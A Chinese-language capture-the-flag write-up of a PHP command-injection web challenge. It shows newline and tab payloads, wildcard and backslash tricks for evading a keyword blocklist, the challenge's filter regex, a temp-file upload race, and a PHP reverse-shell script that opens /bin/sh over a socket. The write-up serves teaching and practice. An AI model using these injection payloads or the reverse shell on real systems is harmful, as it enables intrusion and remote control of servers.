geekgame2017 web350 你的名字 做题记录
预期解法
出题人原本是希望通过linux丰富的读取文件的指令加上?通配符的方式获得flag
- 拿到题目,发现出一些特殊字符返回 蛤?。说明有waf,fuzz一下发现剩下的字符不多,%20以下的字符,还有就是[]^?._\
- 尝试命令执行,可以猜想出题的结构应该是类似
system("echo "."你的名字是:". $_GET['name']) ;
通过%0a的符号,可以换行执行新的目录,通过%09可以代替空格
- 尝试列目录、读文件,发现ls、cat等常用命令都被ban了。也就是说,需要找一个没有被ban的读取文件的命令。另外,php的关键字也被ban了,读取index.php还需要想办法绕过。
- 想到之前小密圈大佬们讨论过一次各种读取文件的命令,开始逐个尝试。
cat、tac、nl、more、less、head、tail、od、strings、base64、vi、sort、pg、uniq
尝试uniq成功,然后的问题是怎么绕过php的限制。
回到开始fuzz可用字符的地方,看到了?。linux里?可用来通配一个字符,也就是说index.ph?可以匹配到index.php
- 读取到源码如下,其实源码和本题没什么关系
<?php
function valid_input($input) {
if (preg_match('/^\w*$/m', $input)) {
if ($input == 'jiangxx') {
die("蛤蛤,我把flag藏起来了,你看的到在哪里么?");
}
if(preg_match('/php|bash|sh|perl|python|rm|cd|cp|mv|shred|wipe|ls|find|cat|tac|more|less|head|tail|nl|rev|ll|expr|cut|wget|curl|grep|sed|awk|vim|vi|base64|echo|where|hexdump|dir|read|tee|:|`|od|\ |;|\'|\"|@|!|\(|\-|\)|~|\*|&|@|\\||>|<|\||\$|{|}|\//', $input)) {
return false;
} else {
return true;
}
} else {
return false;
}
}
if(isset($_GET['name'])) {
if (valid_input($_GET['name'])) {
system("echo "."你的名字是:". $_GET['name']) ;
} else {
echo "蛤?";
}
} else {
echo "Em...我不知道你的名字";
}
-
然后因为当时没想到切目录的事情,所以在当前目录尝试找flag。既然 ? 能通配字符,是不是fuzz不同长度的 ? 就行了。结果竟然没找到flag。找了半天没找到,后来学弟说是隐藏文件,我还是觉得有点奇怪为什么 ? 没有匹配隐藏文件的 . ,可能那个不算是文件名的一部分吧。
burp爆破
非预期
非预期的解法是因为出题人的正则写的有问题,导致 \ 没有被ban掉。
这里的
|\\||
和
|\||
效果一样,因为php没有把 \|
当成是 |
,然后在正则中起效。(补充一下,对于preg_match来说,他的pattern首先本身是个字符串,所以会存在转义的问题,也就是比如\\
转义后变成了\
,然后由php转义后的字符串,作为pattern来正则解析的时候,\|
又成为了|
,因为在正则里|
是个特殊字符,过滤它需要转义。因为php是不会把\|
转义的,因此,截图中,|\\||
和|\|
传递给正则时都是|\|
,也就是所谓的效果一样。而出题人本身可能是希望|\\|
来过滤\
吧。。。正确的写法应该是|\\\\|
)
而在linux中,\ 分开的字符可以拼接,l\s 和 ls一样。
这样一来本题读取flag就非常简单,用fin\d .
来找到隐藏文件,用ca\t xxxxxx
来读取flag
非预期导致getshell
做完听说出题人说这题能够getshell,我就开始尝试getshell的方式。
首先,web目录用下rm命令就知道不可写,也就是说不能再web目录操作。
找了好多反弹shell的命令,发现都或多或少的用到了被ban掉的字符。
然后出题人给的思路是melody之前提过的文件包含导致getshell的方法。链接在这里
http://www.melodia.pw/?p=728
这思路我之前也想过,但是当时没有get到本质。
这个利用点的本质就是打断php的这个进程,比如死循环,让它一直不结束,tmp目录的文件自然就一直存在了。
- 首先是要能到达tmp目录,这个只要你一直往上cd就行
%0ac\d%09..%0ac\d%09..%0ac\d%09..%0ac\d%09tmp%0al\s
- 然后你要能使得php的进程死循环,这个当时我是一下子想起来前一天做题时候,ps看到的tload命令,它就会让php的进程一直跑着,其他的类似ping也可以。
- 构造一个upload页面
<html>
<body>
<form action="http://game.sycsec.com:2012/?name=%0atload" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
- 最后还有一个关键点是,你上传上去的是什么,要干什么。
因为不能通过webshell的方式getshell,所以我们需要的是反弹shell。也就是说,我们传一个反弹shell的脚本,然后执行它,比如sh脚本,python脚本等。 - 我测试发现sh和python都没成功,python命令都没有,后来通过php的反弹shell的脚本成功。这里推荐phithon反弹shell的php脚本
https://www.leavesongs.com/PHP/backshell-via-php.html
<?php
$sock = fsockopen($ip, $port);
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
- 上传php文件,修改临时文件名,执行php即可getshell
总结
linux博大精深Orz